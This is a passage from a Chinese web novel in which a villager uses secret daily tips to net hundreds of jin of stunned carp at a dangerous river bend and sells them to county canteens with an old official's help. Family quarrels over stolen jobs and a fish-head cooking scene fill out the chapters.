赵老头却有些不信,“老拗口那能有什么收获?那地方水又急又深,还邪乎,能有大群的鲢鳙?就算有,那也是在水里活蹦乱跳的,哪那么容易让你用网围住?别是白费力气瞎耽误功夫了。” 江涛无语。 老拗口怎么了? 甲鱼不就是在那抓的? 但这话他没说,毕竟每日情报的事没法解释。 “赵叔,我昨天在那下了地笼,收获还挺多的。昨夜上游下暴雨,水浑缺氧,鱼很可能会往下游,而老拗口刚好是个大拐弯,说不定能截住鱼群。咱们去看看呗,万一有呢?” 赵老头还是摇头,觉得江涛是新手异想天开,什么昨夜上游下暴雨更是无稽之谈。 这天气好好的,哪像下过暴雨的样子? 这小子是搞到一些收获,但那都是碰巧捡了漏而已。 说白了就是运气。 但运气也要用在正地方,老拗口那水深流急,又偏僻邪乎,正经打鱼人都绕着走的地方,何必去那里白费力气? “我不去,那地方不太平。你要去,让铁牛陪你去吧,注意安全,早点回来。” 既然赵老头不愿意,那他就只好和铁牛去了。 “赵叔,那你借我张撒网呗?” 江涛只有一张撒网,再借一条,他和铁牛就能一人一条。 “行,我给你去拿。” 赵老头想着今天不去打渔,到时还要陪颜卫国,便爽快答应了。 赵老头回到家,赵老太正收拾碗筷,见他拿网,问道:“你下午不是要陪老颜吗?还下网?” “不是我用,借给涛子。他说要去老拗口捞鱼,我劝了不听,非要去试试。”赵老头一边翻找一边说。 赵老太一听,来了精神。 “涛子?这孩子转性后运气可好着呢,说不定他真发现了什么鱼窝子。老头子,要不你也跟着去看看,万一真有收获,你也能帮忙,还能分点。老颜那边,一时半会儿也回不来吧?” 赵老头摆摆手,“不去不去,那地方邪性。他要去碰运气让他去,我不去掺和。” 赵老太撇撇嘴,没再劝。 赵老头将撒网拿给江涛,还告诉他自己藏芦苇丛里的小舢板在哪儿,说有用得着的可以用,但切记不要划到深水区去。 江涛和铁牛谢过赵老头,收拾好两张大撒网,带上水衣水裤,以及几个水桶,用绳子牢牢绑在自行车上。 两人直奔老拗口,而赵老头则去村公所看老颜那边什么情况了。 到了地方停好车,江涛和铁牛拎着工具到水边一瞧。 好家伙! 两人同时倒吸一口凉气。 靠近岸边的水面上,密密麻麻浮着一层白花花的鱼,多是鲢鱼和鳙鱼,大的足有半米多长,小的也有一尺来长。 此刻,这些鱼像喝醉了酒,有的在水面缓缓打着转,有的随波轻晃一动不动,偶尔才懒洋洋地摆一下尾巴。 显然是昨夜上游暴雨,裹挟下来的泥沙杂物耗光了水里的氧气。 鱼群被卷到这里,呛得够呛,一时半会儿没缓过来。 “我的老天爷!” 铁牛话都说不利索了,“涛、涛子,这、这得有多少鱼啊!” “嘘!” 江涛心也怦怦直跳。 幸好这老拗口平时没什么人来,要不然早被人发现了! “别嚷嚷,抓紧时间!” 两人强压下心头的狂喜。 江涛迅速换上水衣水裤,拿着撒网,小心翼翼趟进靠近岸边的浅水区。 水立刻没到了腰部,水流比他预想的还要急一些。 他不敢再往前,往后退了退,找了个稳妥位置,试着撒了一网。 网口张开,罩向一片鱼群,入水沉底。 往回一收,沉甸甸的! 他赶紧拖出水面一看,网里五六条大鲢鳙拼命挣扎,加起来怕有小三十斤! “有门!” 江涛把网拖上岸,可鱼放哪儿又成了问题。 带来的几个水桶,根本装不下这么大的鱼。 唉,有时候鱼太大太多,也是一种幸福的烦恼。 “涛子,要不干脆放地上算了?” 铁牛看着满地扑腾的大鱼,也有点发愁。 江涛四下张望,想找个有小水洼的地方临时养鱼。 好在不远处芦苇根下有个天然的浅水坑。 虽然不大,但总比没有强。 “铁牛,你去把小舢板找来,划到那边水流缓的地方。我穿水衣站这边,你用船,咱俩配合快点。先把鱼捞上来养在水坑里,等会儿再想法子运走。” “好!” 铁牛麻溜找到赵老头藏的小舢板,解开缆绳抱起来,跑到老拗口,放到水里抄起木桨朝江涛指的方向划去。 小舢板不大,但载铁牛一人加渔网绰绰有余。 “铁牛,看准了,就从那儿下网!” 江涛站在浅水里,瞅准鱼群最密的地方,奋力将手中的撒网旋转抛出。 铁牛在船上,学着江涛样子,也把借来的那张大撒网尽力撒开。 两张网几乎同时张开,像两朵倒扣的乌云,带着风声“哗啦”落入水中,罩住了一大片晕头转向的鱼群。 网上的铅坠迅速带着网沉了底。 “收网!” 江涛脚下虚浮,每拽一下都要尽力稳住下盘。 铁牛在船上也不好受,小船被拽得直晃,他只能半蹲着,靠腰腹力量稳住船身,一寸一寸将沉甸甸的渔网往上提。 水花四溅,网里的鱼觉出危险,开始拼命挣扎。 那些大个头鳙鱼力气尤其惊人,撞得网绳嗡嗡作响。 “抓紧了,铁牛!” “放心吧,跑不了!” “哗——!” 江涛率先将网拖出水面,网里白花花一片! 他不敢停留,憋着气将这网近百十斤的鱼连拖带拽弄到浅滩。 鱼离了深水,在浅滩上胡乱拍打,溅起漫天泥水。 几乎同时,铁牛大吼一声,将另一张同样收获惊人的大网拖到船边。 小船猛地一沉,差点侧翻,幸好铁牛底盘稳,硬是扛住了。 江涛见状赶紧蹚水过去帮忙,两人合力把这张网也拖到浅滩。 “来,咱赶紧把鱼放进浅水坑。” 两人手脚麻利地把网里活蹦乱跳的大鱼捡出来,扔进那个临时的小水坑。 “继续!” 鱼不怎么逃窜,他们这一网接一网,不到一个时辰,浅水坑几乎被鱼堆满了。 白花花一片,在午后阳光下闪着诱人的银光。 “不行了,涛子,捞不动了,也放不下了。” 铁牛喘着粗气,一屁股坐在岸边,看着眼前的鱼山,又是欢喜又是发愁。 江涛也累得够呛,但精神极度亢奋。 他粗略估算了一下,这几网下来,少说也有三四百斤! 而且多是三四斤以上的大鲢鳙。 这收获简直骇人听闻。 “铁牛,你在这看着,我跑回去喊人帮忙,能不能借到板车、大筐!” 江涛当机立断。 这么多鱼,光靠他们俩和自行车,绝对运不回去。 得赶紧回去搬救兵,不然鱼死了就损失大了。 “行!涛子,你先回去,我看着。路上当心!” 铁牛点点头,坐在鱼堆旁边,一边歇气一边警惕地留意着四周动静。 第35章 我不要 江涛骑着自行车,心急火燎地往村里赶。 路上有人跟他打招呼,也顾不上回应,满脑子只有那几百斤鱼。 他一口气骑到家门口,跳下车就跑去找隔壁赵老头帮忙。 毕竟是老打渔的,有经验,有方法。 可赵老太说他不在,去村公所了。 得,真是越急越添乱。 没法子,江涛只好掉转车头,又往村公所蹬去。 而此时,村公所里,气氛凝重。 江海、江川两对夫妻垂头站在一边,颜卫国端坐上首,赵老头陪在侧,村支书和民兵队长立在一旁。 刘翠花脸上还带着个新鲜红手印,眼睛哭得又红又肿。 江川媳妇王桂香也缩着脖子,大气不敢出。 她俩娘家侄子,到底年纪还小,已被送回了家。 “……手足兄弟,理应互相扶持。你们倒好,不念骨肉亲情,反而欺上门来,偷抢拐骗,还教唆小辈!江山要是泉下有知,看到你们这样欺负弟弟,该有多寒心!” 颜卫国苦口婆心,谆谆教导。 “你们当哥哥的本该是弟弟的依靠,是家里的顶梁柱。可现在呢?你们做的事,对得起你们的父亲吗?对得起你们的良心吗?” 江海脸色青一阵红一阵,在颜卫国和村支书双重压力下,早没了平日的倨傲。 他狠狠瞪了一眼刘翠花,咬牙道:“颜伯教训得是,是我管教不严,让这蠢妇丢了江家的脸面!” 说着,抬手又当众给了刘翠花一个不轻不重的耳光。 “你个没脸没皮的东西!当奶奶的人了,竟还去抢几个侄女的小板凳!害不害臊!” 刘翠花捂着又疼又麻的脸,心里委屈得要命。 明明是他默许,甚至纵容怂恿的,现在倒全推到她头上了。 可在这种场合,面对颜卫国那慑人的目光,她半个不字都不敢说,只能呜呜咽咽地点头。 江川见状,也赶紧表态,“颜伯,我们知道错了,以后再也不敢了,一定好好管教家里,再不让他们胡来。” “是啊是啊,下次不敢了。” 王桂香也跟着拼命点头。 场面正热闹,江涛一阵风似的闯了进来。 “涛子,你来得正好!” 颜卫国见到他,以为他来对质,“你大哥二哥欺负你的事,以及当年通知书那档子事,今天一并替你做主。” 江涛喘着粗气,也没顾上看屋里众人脸色,“颜伯伯,这事先放一放……” “你放心!” 颜卫国以为他不好意思,或是担心自己压不住。 “今天我一定给你讨个公道!江海,当年你爸托我办的工农兵学员录取通知书,我亲手交到你手里,让你转交涛子,你为何不给他?你可知你断了他一条前程路?” 江海脸色瞬间煞白,嘴唇哆嗦着,“我、我当时家里事多,我、我给忘了……” “忘了?” 颜卫国眼神锐利,“关乎亲弟弟一生前途的大事,你能忘了?我看你是存心私吞!” 江海吓得腿一软,差点跪下,“颜伯,我、我真不敢……我错了,我错了……” “既然知道错了,就该补偿。” 颜卫国沉声道,“你现在草编厂当收购主管,这工作,让给涛子吧。也算你当大哥的,为当年的事赎罪。” “让、让工作?” 江海如遭雷击,好不容易混到这个油水足的位子,他哪舍得让出来? “颜伯,这、这工作……涛子他没干过采购,不合适吧……” “什么合不合适,学就会了!”颜卫国不容分说。 “颜伯伯,” 江涛在一旁听得头大,“草编厂的工作我看就算了。那厂子效益也就那样,过几年还不知道怎么样呢。我不要。” 江海一听,气得差点背过气去。 这小子,竟然看不上他的工作? 还咒厂子倒闭? 颜卫国一愣,以为江涛是客气,或者嫌弃工作不好,又转向江川。 “江川,你在乡供销社的工作,让给涛子。供销社是铁饭碗,总行了吧?” 江川傻眼了,这火怎么烧到他身上了? “颜伯,我、我这工作我干了几年了,我……” “你什么你?你媳妇偷砖抢凳,你也有责任!让个工作给你弟弟,不应该吗?”颜卫国语气严厉。 “颜伯伯,供销社的工作我也不要。” 江涛非常无奈,这都什么跟什么啊。 “那地方看着光鲜,以后也得改革,不保险。我现在就想着打渔,把日子过好。您别为这个费心了,现在赵叔得赶紧去帮我弄鱼!几百斤鱼啊,都是钱!” 江海、江川,连同刘翠花和王桂香,都像看怪物一样看着江涛。 草编厂、供销社的工作,在多少人眼里是打破头都抢不到的铁饭碗。 这小子竟然不要,还、还大言不惭地说什么不保险? 他是疯了? “颜伯,我在老拗口捞到了几百斤鲢鳙!现在堆在岸边,就铁牛一个人看着,再不弄回来鱼就要死了!我一个人弄不回来,想请赵叔帮忙想想办法,看能不能借到板车,多找几个人!” 几百斤鲢鳙鱼?! 屋里所有人都愣住了,以为自己听错了。 “几百斤?” 江海失声叫道,“老三,你胡说什么梦话?” “是啊,涛子,这可不是开玩笑的时候。”村支书也一脸不信。 颜卫国也皱起眉头,但看江涛神色不似作伪,“涛子,你说的可是真的?” “千真万确!颜伯伯,现在不是说这个的时候,鱼要紧!赵叔快跟我走吧!”江涛急得不行。 赵老头这会儿懵了。 此前江涛让他去帮忙,可他不相信,觉得是白费力气。 没想到这一会儿功夫,竟真捞到了几百斤鱼? “赵叔,快跟我走吧!” “走?” 赵老头回过神来,指着屋里的烂摊子,“怎么走?这儿……” 颜卫国有些无奈,但江涛急成那样,或许那几百斤鱼才是他眼下最看重的东西。 “唉,你这孩子……行,工作的事以后再说。走,先去弄鱼!” 顾不得细问,他对司机小陈一挥手,“小陈,开车,跟着涛子,咱们立刻去江边!李支书,你也找几个可靠的人,带上家伙,一起去帮忙!” “是!”小陈和村支书立刻应道。 江涛连忙补充,“对,多带些筐和绳子!” 刚才真是急昏头了,有吉普车不比找板车快多了? 颜卫国又瞥了一眼呆若木鸡的江海、江川,冷冷道:“你们的事,回头再说!现在,我们先去帮涛子弄鱼!要是敢耍花样,新账旧账一起算!” 江海、江川哪敢说不,连忙点头,心里也好奇,老三说的几百斤鱼究竟是真是假。 一行人匆匆出了村公所,吉普车一路疾驰,很快便到了老拗口。 当颜卫国和村支书等人看到岸边堆积如山的鲢鳙时,全都惊得说不出话来。 “我的妈呀!这、这真是鱼山啊!”村支书喃喃道。 “快!快装车!” 江涛一声令下,众人这才回过神来。 铁牛、小陈,还有闻讯赶来的几个民兵,立刻七手八脚地行动起来。 大家手脚麻利地将大鲢鳙一条条码进筐里。 不一会儿,几大筐鱼被塞进了吉普车的后备箱。 后备箱塞满了,鱼还剩不少。 众人又把鱼筐小心抬到后座上,挤得几乎没有空隙。 可车外,还是堆着一小堆。 “放车顶!”小陈招呼道。 几个人合力,将最后两筐鱼用粗麻绳牢牢捆在吉普车的车顶行李架上。 原本还算轻便的吉普车,被这几百斤鱼一压,车身明显往下一沉。 剩下一些,江涛和铁牛便用撒网兜着,牢牢绑在自行车后座的两侧。 就这样,一辆满载着鲢鳙的吉普车,在村民目瞪口呆的注视下,缓缓开进滨江村,停在了江涛家门口。 第36章 竟有几百斤 “这么多鱼啊!” “爸爸太厉害了!” 江招娣和几个丫头从屋里跑出来,围着吉普车又跳又叫,看着车里车顶白花花的鲢鳙,小脸兴奋得通红。 她们从没见过这么多鱼,感觉爸爸像是把半个江都搬回了家。 林月柔也是满面红光,抱着老八,看着眼前不可思议的景象,心里那种不真实感再次涌上来。 但这一次,不再是恍惚,而是难以言喻的踏实和希望。 这才几天啊。 家里有了新桌子新凳子,有了自行车和手表,现在又捞了这么多鱼…… 建新房,她曾经想都不敢想的事,好像真的不远了。 “哈哈哈,涛子,你小子有本事!” 看着堆成小山的鲢鳙,又看看指挥若定的江涛,颜卫国心里又是感慨又是欣慰。 他算是见识到江涛的真本事了。 这运气,这胆识,这动手能力,确实不是池中之物。 村支书和民兵队长也围了上来,对着江涛和鱼堆一顿猛夸,话里话外都是恭维。 “涛子,你可是给咱们滨江村长脸了!” “是啊,多少年没出过这么大阵仗了!” 赵老头则彻底懵了。 站在鱼堆旁,看着眼前白花花的景象,脑子有点转不过弯。 他错过了什么? 之前还觉得江涛是新手瞎想,劝他别去。 结果,竟有几百斤! 他打了一辈子鱼,也见过鱼群,可像这样几百斤的场面真是闻所未闻! 赵老头懊悔得直拍大腿,当时怎么就信了那什么邪性说法,没跟着去呢? 赵老太闻讯赶来,一看这情形,见自家老头子那副呆样,气得恨不得上去掐死他。 “让你去,你不去!现在好了,这么大好处,全让涛子得了,你连个边都没沾上!还老渔民呢,我看你是老糊涂!” 赵老头被老婆子骂得抬不起头,只能讪讪地站在一边,心里那叫一个悔啊。 颜卫国看着江涛,心里对刚才在村公所的事,又有了新的考量。 之前提出让江海江川把工作让出来,一方面是真心想补偿江涛,另一方面,也是故意敲打那对忘恩负义的白眼狼。 草编厂和供销社的工作,当初都是江山利用自己的关系和影响力,费了不少劲才给两个儿子安排进去的,是实打实占了老父亲的便宜。 而江山被打成右派,是江涛这个最小的儿子,四处奔走,收集材料,找人作证,好不容易才争取到平反的机会。 可以说,江海江川能有后来的安稳日子,其实是占了江涛的便宜。 可他们非但不感恩,分家时还抢走大头,对江涛这个弟弟不闻不问,现在看他日子好点,还伙同外人来欺负。 这样的人,不配有好工作,更不配心安理得地享受家族的余荫。 颜卫国刚才在村公所,就是想用让工作,狠狠剐下他们一层脸皮,逼他们吐出不该得的东西。 可现在看到江涛凭自己本事捞到这几百斤鱼,他又改了主意。 涛子一天就能挣到江海江川一年的工资,自然看不上那两份工作。 更重要的,涛子似乎对体制内的工作并不向往,他有自己的路,而且走得又快又稳。 不过,打渔终究要看天吃饭,看运气,不是天天都有几百斤鱼等着捞。 颜卫国沉吟片刻,心里有了计较。 工作,还是要给江涛安排,但未必是草编厂或供销社。 他得好好想想,给涛子找个既能发挥他本事,又稳妥长久,还不用看人脸色的好去处。 “涛子……” 颜卫国正想跟他谈谈工作的事。 江涛却先一步开口,“颜伯伯,您看能不能借用您的吉普车,帮我把鱼拉到乡里去?这么多鱼,光靠我和铁牛,怕是一晚上也挑不完,鱼死了就不值钱了。” 颜卫国一愣,随即失笑。 这小子,还真是半点不客气,一心只惦记着卖鱼。 不过,这份务实和直接,他倒是不讨厌。 “没问题,车你随便用。不过……” 他看了看吉普车和自行车上堆成山的鱼,“涛子,这么多鱼,拉到乡里,东风饭店能全吃得下吗?就算吃得下,价钱上会不会被压?” 这倒是个问题。 江涛也皱了皱眉。 上次鳗鱼是运气好赶上招待,甲鱼也是碰巧。 这么多鲢鳙,虽说也是好货,但量大,短时间内消耗不完,饭店收购价肯定会打折扣。 “涛子,要不直接去县里吧。” 颜卫国提议道,“我认识几个县里机关食堂和招待所的负责人,打个招呼,这点鱼分一分,应该能很快处理掉。县里人多,消耗大,价钱上也好谈一些。” “这……” 江涛有些犹豫。 去县里人生地不熟,而且路途不近,万一有个闪失…… “你放心,” 颜卫国看出他顾虑,“我让小陈开车陪你去,县里那边我也先打电话联系好。你只管去,价钱该怎么谈就怎么谈。这样既能卖得快,价钱也公道。你看怎么样?” 这可真是瞌睡送枕头! 江涛心头一喜。 有颜伯伯这层关系,去县里比在乡里零售或者批发给水产公司强太多了! 既省了折腾,又能卖上价,还快! “行!那就太谢谢颜伯伯了!”江涛也不扭捏,立刻应下。 “跟我还客气什么。” 颜卫国摆摆手,对司机小陈吩咐了几句。 小陈立刻跑去村公所打电话,开始联系县里的熟人。 江海、江川夫妇还在那儿惴惴不安地站着。 见小陈进来,江海连忙凑上去,挤出一丝笑容问:“小陈同志,领导他……我们什么时候能走?” “这个啊,要等领导发话。领导现在正忙江涛同志的事,你们先耐心等等吧。” 小陈礼貌地笑了笑,拿起电话拨号,不再理会他们。 江海、江川讨了个没趣,脸上挂不住,心里更是七上八下。 很快,小陈回来,说已经联系好了县里一家机关食堂和两家招待所。 那边听说有这么多新鲜大鲢鳙,都表示有多少要多少,价格好商量,让赶紧送过去。 事不宜迟,众人立刻动手,将鱼重新归置。 吉普车装得满满当当。 剩下一些装不下的,江涛让林月柔拿去分给今天帮忙的赵老头、村支书、民兵队长和几个出力的村民。 “今天多亏了大家帮忙,这点鱼不成敬意,大家拿回去尝尝鲜。” 众人得了鱼,都很高兴,纷纷夸江涛会办事,大气。 江涛、铁牛和小陈告别众人,坐进吉普车,风驰电掣般往县里驶去。 几个闲汉在路上闲逛,看到辆吉普车开过去,带起一阵浓烈的鱼腥味。 有个闲汉眼尖,透过车窗恍惚看见江涛的侧脸一晃而过。 “哎,哥几个,那是江涛吧?” “是吧,那车里还装了好多鱼,最近他打渔,难道那车鱼是他捞的?” “这回发财了!乖乖,一车鱼!” 几个闲汉想从看热闹的村民嘴里打听点消息。 可村民们得了鱼,心里念着江涛的好,而且颜老领导也在,谁也不想多嘴惹事。 面对闲汉们的打听,要么装作没听见,要么含糊地摆摆手,“不知道,不清楚,别问我。” 要么就干脆转身走了。 几个闲汉问了一圈,碰了一鼻子灰,也没打听出个所以然来。 不过,他们眼珠子一转,觉得这事儿本身就是个重要的情报啊! 江涛弄了这么一大车鱼,还坐着小汽车,这里面肯定有猫腻,说不定还能从宋二那儿换点酒钱呢! 几个人一合计,便兴冲冲地找宋二卖情报去了。 第37章 抢成这样? 吉普车就是快,一个小时就到了县城。 小陈直接将车开进了一个大院。 院里的人似乎提前接到了通知,一个穿着中山装干部模样的中年男人已经等在门口。 “是江涛同志吧?一路辛苦了!” 中年男人迎上来,热情地跟江涛握手,“我是机关食堂的负责人,姓高,你叫我高主任就行。颜老都跟我们交代了,鱼在哪儿?快让我看看!” “高主任,鱼都在这儿。”小陈跳下车打开后备箱。 高主任凑近一看。 嚯!一筐筐的大鲢鳙! 个头齐整,鳞光闪闪,一看就是刚出水活力十足的鲜货。 “好鱼!真是好鱼!” 高主任连声称赞,“颜老说得一点没错,江涛同志,你这鱼可救了急了!明天中午我们有接待任务,就缺这样的硬菜!” “您看着给个价。”江涛姿态放得很低。 “这鲢鱼市面上一斤一块七左右,鳙鱼稍微贵点。” 高主任略一沉吟,“你这一趟量大,又是颜老介绍的,咱们按两块一斤算,怎么样?” “行!谢谢高主任!” 江涛心里一喜。 原以为对方说量大会压价,没想到比乡里东风饭店给得还高。 “别急着谢,” 高主任摆摆手,笑道,“我这儿最多要一百五十斤。剩下的颜老交代给县招待所那边。我已经让人联系他们过来。小陈,你带江涛同志他们进去喝口水歇歇,鱼我来安排人过秤。” “好嘞!” 小陈应了一声,领着江涛和铁牛进了旁边的办公室。 没过多久,县招待所的采购负责人就开着一辆小货车赶到了。 那人一下车,眼睛就粘在那几筐鱼上,围着转了两圈,啧啧赞叹:“好货!真是好货!老高,你够意思!明天省里工作组来,我们正愁没好菜呢!” “颜老交代的事,我哪敢怠慢。” 高主任笑呵呵地迎上去,“老刘,说好了啊,我先挑一百五十斤,剩下的全归你们。” “一百五十斤?” 刘主任扶了扶眼镜,“老高,你们食堂才几个人吃饭?我们招待所任务多重你知道不?省里工作组几十号人呢,还有陪同领导。这点鱼,我们全要了都紧巴!” “你这是什么意思?”高主任脸上的笑有点挂不住了。 刘主任没理他,直接去找江涛,“你是江涛同志吧?我是招待所的老刘。你的鱼我们全包了,就按两块一斤,现钱结算,怎么样?” “哎哎哎,老刘!” 高主任急了,“咱们说好了的,我一百五,你剩下的。你不能看见好货就变卦啊!明天兄弟县来交流学习,我们菜单都定了,鱼是主菜!” “你那菜单匀一匀嘛,用鸡鸭顶上不就行了?”刘主任试图轻描淡写带过。 “那不行!这事讲究个先来后到,是我们先联系的江涛同志!”高主任寸步不让。 “老高,你这思想可有点狭隘了,得顾全大局嘛。”刘主任开始上纲上线。 “我怎么不顾全大局?是你不讲信用!” 两人你一言我一语,在院子里争得面红耳赤。 旁边等着过秤的工人都憋着笑看热闹。 江涛和铁牛看得有点懵。 这鲢鳙虽说不错,但也不是什么稀罕物,至于抢成这样? 还是说,这位刘主任会来事,存心要在颜老交代的事情上表现一下? 最后,还是小陈出来打圆场。 “刘主任,您别和高主任争了。颜老交代过,两家都得照顾到。要不这样,下次江涛同志再有好货,肯定先紧着您那边,好不好?” 高主任和刘主任对视一眼,也觉得当着外人面抢来抢去不太好看。 “行吧!”刘主任故作大度地挥了挥手。 “哼,看在颜老和小陈的面子上,不跟你计较。”高主任哼了一声,脸上总算缓了下来。 过秤结果出来,总共四百六十三斤。 按两块一斤算,总共是九百二十六。 高主任做主,给了九百三凑了整数。 “江涛同志,下次再有这样的好货,有多少送多少来!” 高主任点好钱,递到江涛手里,“只要是这个成色我们全要!” “是啊,江涛同志,” 刘主任也凑过来,不忘瞥高主任一眼,“以后你直接拉招待所来,千儿八百斤我们也吃得下。这点量也就够塞塞牙缝。” 江涛和铁牛听得暗暗咋舌。 千儿八百斤都吃得下? 县里的需求量,还真是让人开眼。 “两位领导放心,下次有好货,我一定都照顾到!” 江涛主打一个两边不得罪,接过厚厚一沓钞票小心揣进怀里。 夕阳西斜,回去的路上。 铁牛兴奋得手都在抖,“涛子,九百三呢!我这辈子没见过这么多钱!” “这才哪到哪儿。” 江涛笑了笑,目光望向车窗外飞速后退的田野。 九百三看着挺多的,但不能指望天天都有像今天这样被大雨呛晕的鱼群。 可要想跟高主任和刘主任两家建立稳定的供销关系,光靠在江边撒网小打小闹,肯定供不上这么大的需求。 要想稳定供货,最起码得有艘像样的渔船,能进深水区,一次才能有可观的收获。 可问题是,每日情报给的基本都是江边相对安全的区域。 深水区情况复杂,鱼群活动规律也不一样。 没有精准情报,光靠经验去撞大运,风险实在太大了。 江涛心事重重。 而此时,宋二那边也是焦躁不安。 几个闲汉给他带来的消息,让他坐不住了。 “二侯,江涛这次打了好多鱼,装了一吉普车!那车八成是县里的!” “那小子最近是走了什么狗屎运?” 宋二眼神阴鸷地摸着下巴。 江涛家什么情况他知道。 江老爷子死后,江涛就是个没人管的破落户,连他两个亲哥都嫌弃。 所以,他才敢明着暗着算计江涛。 可现在江涛背后有关系? 那辆吉普车透着一股不寻常。 难道他在江涛那吃的亏就只能咽下? 宋二自然咽不下这口气。 打发走几个闲汉,当即揣了两包好烟,溜溜达达去了村支书李满福家。 “李支书,忙着呢?”宋二笑着递上一包烟。 李满福抬眼瞅了瞅他,接过烟往桌上一撂,“宋二,有事?” “没啥事,随便走走。对了,我听说涛子……今天坐小车走了?是上面有领导来看他?”宋二试探着问。 “谁说的?” 李支书眼皮子一跳。 想起颜卫国交代要保密,不能让人知道太多,免得给江涛惹麻烦。 “你听谁胡咧咧的?没有的事!” “真没有?” 宋二不信,“那江涛怎么坐着吉普车,还拉走一车鱼?那阵仗可不小。” “那个啊,” 李支书随口编了个理由,“那是县里水产公司下乡来收鱼的,涛子刚好捞了些,就搭人家便车去卖了。有什么好奇怪的?” “县里水产公司?开吉普车来收鱼?” 宋二将信将疑。 “是啊,人家单位大,有车不是很正常吗?行了行了,宋二,你管人家那么多闲事干啥?有这功夫不如想想怎么多挣点工分,别整天在外面瞎混。” 李支书不想多说,开始赶人。 宋二又旁敲侧击了几句,都被李支书滴水不漏地挡了回去。 最后,他悻悻地离开了支书家。 虽然李支书不承认,但宋二心里认定,江涛肯定是走了什么狗屎运,或者真攀上了点关系。 不过,看李支书那遮掩的样子,这关系恐怕也没多硬,或者不想让太多人知道。 那这仇还得继续报! 而且,还得抓紧,不能让江涛真靠这点关系站稳脚跟。 第38章 剁椒鱼头 从县里回到家,已是晚上六点多。 天色渐晚,西边天际只剩一抹暗红。 村子的炊烟已经散尽,不少人家点起了昏暗的煤油灯。 江涛家却灯火通明,热闹非凡。 一进门,大圆桌上摆得满满当当。 清炒菜心、蒜泥白肉、红烧排骨、韭菜炒鸡蛋、油炸花生米,还有一大锅热腾腾的鸡汤。 墙边整整齐齐摆着四个小板凳,上面放着两包油纸裹着的东西,看形状像是糕点。 “月柔,这桌菜是……?” 江涛有些意外,以为是颜卫国安排的。 “是你大哥二哥送来的食材,说是给咱家赔个不是。” 林月柔小声解释,“还有那两包桃酥和鸡蛋糕,也是他们拿来的,给孩子们当零嘴。” 她和招娣都没提抢板凳的事。 事情已经翻篇,对方既然低了头,多一事不如少一事。 “哦,” 江涛点点头。 看来大哥二哥是真怕了颜伯伯。 知道自己偷砖理亏,又是送肉又是送点心,姿态放得够低的啊。 不过,他要是知道嫂子竟敢上门抢板凳,还推搡孩子,恐怕就不是这点东西能轻易了事的。 “涛子,饿坏了吧?快过来坐!” 颜卫国笑呵呵招呼,“这都是你大哥二哥送来的赔礼。排骨、鸡、白肉,还有鸭蛋,都是他们拿的。月柔忙了一下午,做了这一大桌。铁牛、小陈,都过来坐。” “是啊,趁热吃。” 赵老头和铁牛娘也笑着招呼。 江涛看着满桌菜,鸡鸭鱼肉齐全,农家待客已是顶配。 但他总觉得少了点什么。 目光扫过一圈,忽然一拍脑门,“等等,还差一道菜!你们先吃着,我去搞个剁椒鱼头!” 这回捞了那么多鲢鳙,江鲢家里吃过,但胖头鱼的鱼头还没尝过呢! 现成的鳙鱼头,不做剁椒岂不可惜? 他特意留了三条最大的鳙鱼,就等着晚上这顿。 “行啊,那我们可就恭候着了。” 颜卫国笑道,年轻时走南闯北,他最爱的就是这道辣得过瘾的江鲜。 赵老头和铁牛娘也露出期待的神色。 “保准让你们满意。” 说着,江涛转身进了灶间。 林月柔和江招娣也跟着进去帮忙。 灶台上摆了几碗桌上同样的菜,这是留给几个丫头的。 大圆桌坐不下,她们就将就着在灶台边吃。 江涛将那四个板凳拿来,将菜端到上面。 然后从水桶里提出那三条最大的鳙鱼,每一只都有十斤多重,鱼头硕大肥厚。 他手起刀落,利落地将三个大鱼头剁下。 去鳃洗净,从背部剖开成两半,但又不完全切断,让鱼头能平铺开来。 雪白的鱼肉厚实紧致,看着就喜人。 “月柔,家里有剁椒吗?” “……没有。” 林月柔不好意思地摇头。 江涛一拍脑袋。 多余问,江海平原不怎么吃辣的,哪个人家会有剁椒啊。 “没事,我可以现做。” 江涛安慰林月柔,“家里辣椒有吧?” “有的有的。” 林月柔忙应道,“去年晒的干辣椒还有不少。” “行,那你拿些过来洗一下。招娣,烧火!” 江涛吩咐。 “哎。” 灶膛里的火还没全熄,江招娣麻利地往里添了两把柴,火苗立刻又旺了起来。 林月柔将干辣椒洗净,江涛快手快脚地剁碎,加入姜末、蒜末、盐,又倒了些醋和红糖调和。 来不及自然发酵,这样做出的速成剁椒也别有风味。 很快,一股酸辣鲜香扑鼻而来。 他舀出几大勺,均匀地铺在三个大鱼头上,又切了些姜末、蒜末撒上,淋了些料酒和酱油。 大铁锅里水已烧开。 江涛将三个铺满剁椒的大鱼头放进大蒸屉,盖上锅盖。 “招娣,大火,蒸一刻钟!” “哎!” 江招娣坐在灶膛前,小脸被火光映得红扑扑的,卖力地拉着风箱。 蒸鱼的工夫,江涛又快手快脚地切了一把葱花,剥了几瓣蒜拍成蒜末。 不多时,浓郁的酸辣鲜香就从锅盖缝隙里丝丝缕缕钻了出来,勾得人食指大动。 “时间到,起锅!” 江涛掀开锅盖,一股带着鱼鲜和剁椒辛香的热气蒸腾而起。 只见蒸屉里,三个大鱼头已然蒸熟。 原本雪白的鱼肉变得嫩滑,浸在红亮油润的汤汁里,上面覆盖的剁椒颜色更加诱人。 他将鱼头小心地挪到三个准备好的大汤盆里,撒上葱花和蒜末。 另起一个锅,烧热菜籽油,等到油面微微冒起青烟。 江涛用勺子舀起滚烫的热油,对着鱼头上的葱花蒜末和剁椒,“刺啦”一声淋了下去! 滚油激发出葱蒜和剁椒最后的香气,瞬间,一股更加霸道的酸、辣、鲜、香轰然炸开,弥漫了整个灶间,甚至飘到了堂屋。 几个丫头早就等不及了,盯着那红彤彤的鱼头,口水都快流下来。 江涛笑着给她们先盛了一点尝尝鲜。 “我的老天爷,涛子做的什么菜,怎么这么香?” 堂屋间,赵老头忍不住吸了吸鼻子。 颜卫国笑道:“剁椒鱼头光闻这味儿,就知道错不了!” “没想到鱼头也能做得这么香。” 铁牛娘算是长了见识。 “剁椒鱼头来咯!” 江涛和林月柔一人端着一个汤盆走了过来。 红艳艳的剁椒覆盖着白嫩肥美的鱼头,热气腾腾,香气四溢,往桌子中央一放,瞬间成了全桌最耀眼的主角。 “来,颜伯伯,赵叔,铁牛婶,小陈,铁牛,尝尝我的手艺,趁热吃!”江涛招呼众人。 “那我就不客气了。” 赵老头嘴挺叼,一筷子夹走鱼脸颊那块最嫩的活肉。 颜卫国则夹起一块靠肚子的雪白鱼肉,蘸着红亮的汤汁送入口中。 鱼肉极其嫩滑,入口即化。 